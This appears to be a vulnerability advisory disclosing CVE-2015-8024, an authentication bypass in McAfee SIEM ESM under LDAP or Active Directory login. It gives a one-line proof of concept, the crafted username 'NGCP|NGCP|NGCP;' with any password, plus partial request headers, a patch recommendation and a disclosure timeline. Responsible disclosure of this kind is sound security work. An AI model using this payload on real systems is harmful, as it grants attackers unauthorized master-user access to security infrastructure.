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    McAfee SIEM ESM, ESMREC, and ESMLM Authentication Bypass vulnerability

    Quantum Leap Advisory McAfee SIEM ESM, ESMREC, and ESMLM Authentication Bypass vulnerability
    Affected Product: SIEM ESM 9.5.0MR7, 9.4.2MR8, 9.3.2MR18 and earlier releases.
    Credits: Vulnerability discovered by Claudio Cinquino of Quantum Leap S.R.L.
    CVE: CVE-2015-8024

    Executive Summary

    Authentication Bypass: A specially crafted username can bypass SIEM ESM authentication (password is not validated) if the ESM is configured to use Active Directory or LDAP authentication sources. This can result in the attacker gaining NGCP (master user) access to the ESM.

    Proof of Concept

    Authentication Bypass vulnerability has been detected on login form McAfee SIEM ESM 9.5.x and 9.4.x. For Authentication Bypass, set in login form user NGCP|NGCP|NGCP; and any password.

    POST /ess HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-type: application/x-www-form-urlencoded
    Content-Length: 272

    Figure 1 show example of Authentication Bypass of McAfee SIEM 9.5.0MR7.

    McAfee Authentication Bypass

    Figure 1 – Authentication Bypass Vulnerability McAfee SIEM ESM 9.5.0MR7 PoC


    To fix the security issue we recommend to update at new version to SIEM ESM 9.5.0MR8 or 9.4.2MR9, the vendor has resolved this issue.

    Disclosure Timeline

    10/10/2015 – Vulnerability Discovered
    13/10/2015 – Initial vendor notification
    19/10/2015 – The vendor fixed the vulnerability
    26/10/2015 – The vendor public Security Bulletin
    02/12/2015 – CVE Assigned


    [1] http://cwe.mitre.org/data/definitions/592.html
    [2] https://www.owasp.org/index.php/Category:Authentication_Vulnerability
    [3] https://kc.mcafee.com/corporate/index?page=content&id=SB10137&actp=null&viewlocale=en_US&showDraft=false&platinum_status=false&locale=en_US
    [4] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8024

    Claudio Cinquino

    Claudio Cinquino

    Security Auditor at Quantum Leap s.r.l.
    Claudio Cinquino